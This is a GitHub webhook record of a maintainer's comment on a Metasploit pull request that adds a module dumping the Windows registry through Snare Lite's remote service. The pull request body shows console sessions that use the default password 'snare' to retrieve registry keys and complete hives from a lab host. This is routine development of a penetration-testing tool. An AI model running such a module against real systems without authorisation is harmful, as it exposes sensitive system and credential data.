{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6404","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6404/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6404/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6404/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/6404","id":124079613,"number":6404,"title":"Add Snare Lite for Windows Registry Access module","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars.githubusercontent.com/u/434827?v=3","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":3,"created_at":"2015-12-28T15:18:44Z","updated_at":"2016-04-04T21:28:39Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6404","html_url":"https://github.com/rapid7/metasploit-framework/pull/6404","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6404.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6404.patch"},"body":"This module uses the Registry Dump feature of the Snare Lite Open Source for Windows service on 6161/TCP to retrieve the Windows registry.\r\n\r\nTested on Snare for Windows version 4.0.2.0 on Windows XP SP3\r\n\r\n* Software: http://sourceforge.net/projects/snare/files/Snare%20for%20Windows/4.0.2.0/\r\n\r\n### Example Usage\r\n\r\n```\r\nmsf > use auxiliary/gather/snare_registry \r\nmsf auxiliary(snare_registry) > set rhost 192.168.18.155\r\nrhost => 192.168.18.155\r\nmsf auxiliary(snare_registry) > set password snare\r\npassword => snare\r\nmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\\\HARDWARE\\\\DESCRIPTION\\\\System'...\r\n[+] 192.168.18.155:6161 - Retrieved key successfully (23092 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225094851_default_192.168.18.155_snare.registry.k_502556.txt\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) > set REG_KEY HKLM\\\\doesnotexist\r\nREG_KEY => HKLM\\doesnotexist\r\nmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\\\doesnotexist'...\r\n[-] Auxiliary failed: RuntimeError not-found: 192.168.18.155:6161 - The supplied registry key does not exist\r\n[-] Call stack:\r\n[-]   /pentest/exploit/metasploit-framework/lib/msf/core/module.rb:291:in `fail_with'\r\n[-]   /pentest/exploit/metasploit-framework/modules/auxiliary/gather/snare_registry.rb:96:in `dump_key'\r\n[-]   /pentest/exploit/metasploit-framework/modules/auxiliary/gather/snare_registry.rb:60:in `run'\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) > set action Snare Information \r\naction => Snare Information\r\nmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\\\Software\\\\InterSect Alliance'...\r\n[+] 192.168.18.155:6161 - Retrieved key successfully (2379 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225094854_default_192.168.18.155_snare.registry.k_293326.txt\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) > set action Dump Registry Key\r\naction => Dump Registry Key\r\nrmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving registry key 'HKLM\\\\HARDWARE\\\\DESCRIPTION\\\\System'...\r\n[+] 192.168.18.155:6161 - Retrieved key successfully (23092 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225094900_default_192.168.18.155_snare.registry.k_768238.txt\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) > set action Dump Registry Hive\r\naction => Dump Registry Hive\r\nrumsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKLM' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (10620716 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095018_default_192.168.18.155_snare.registry.h_016688.txt\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) > set verbose true\r\nverbose => true\r\nmsf auxiliary(snare_registry) > set action Dump Registry\r\naction => Dump Registry\r\nmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.18.155:6161 - Retrieving list of registry hives ...\r\n[+] 192.168.18.155:6161 - Found 5 registry hives (HKEY_CLASSES_ROOT, HKEY_CURRENT_CONFIG, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS)\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CLASSES_ROOT' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (3933816 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095110_default_192.168.18.155_snare.registry.h_875642.txt\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_CONFIG' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (5605 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095110_default_192.168.18.155_snare.registry.h_391575.txt\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_CURRENT_USER' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (269927 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095111_default_192.168.18.155_snare.registry.h_025154.txt\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_LOCAL_MACHINE' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (11409691 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095224_default_192.168.18.155_snare.registry.h_728836.txt\r\n[*] 192.168.18.155:6161 - Retrieving registry hive 'HKEY_USERS' ...\r\n[+] 192.168.18.155:6161 - Retrieved hive successfully (1661004 bytes)\r\n[+] File saved in: /root/.msf4/loot/20151225095230_default_192.168.18.155_snare.registry.h_119567.txt\r\n[*] Auxiliary module execution completed\r\n```\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/205504036","html_url":"https://github.com/rapid7/metasploit-framework/pull/6404#issuecomment-205504036","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6404","id":205504036,"user":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"created_at":"2016-04-04T21:28:38Z","updated_at":"2016-04-04T21:28:38Z","body":"This works for me:\r\n\r\n```\r\nmsf auxiliary(snare_registry) > run\r\n\r\n[*] 192.168.1.80:6161 - Retrieving registry key 'HKLM\\\\HARDWARE\\\\DESCRIPTION\\\\System'...\r\n[+] 192.168.1.80:6161 - Retrieved key successfully (23320 bytes)\r\n[+] File saved in: /Users/wchen/.msf4/loot/20160404162744_default_192.168.1.80_snare.registry_524382.txt\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(snare_registry) >\r\n```"}}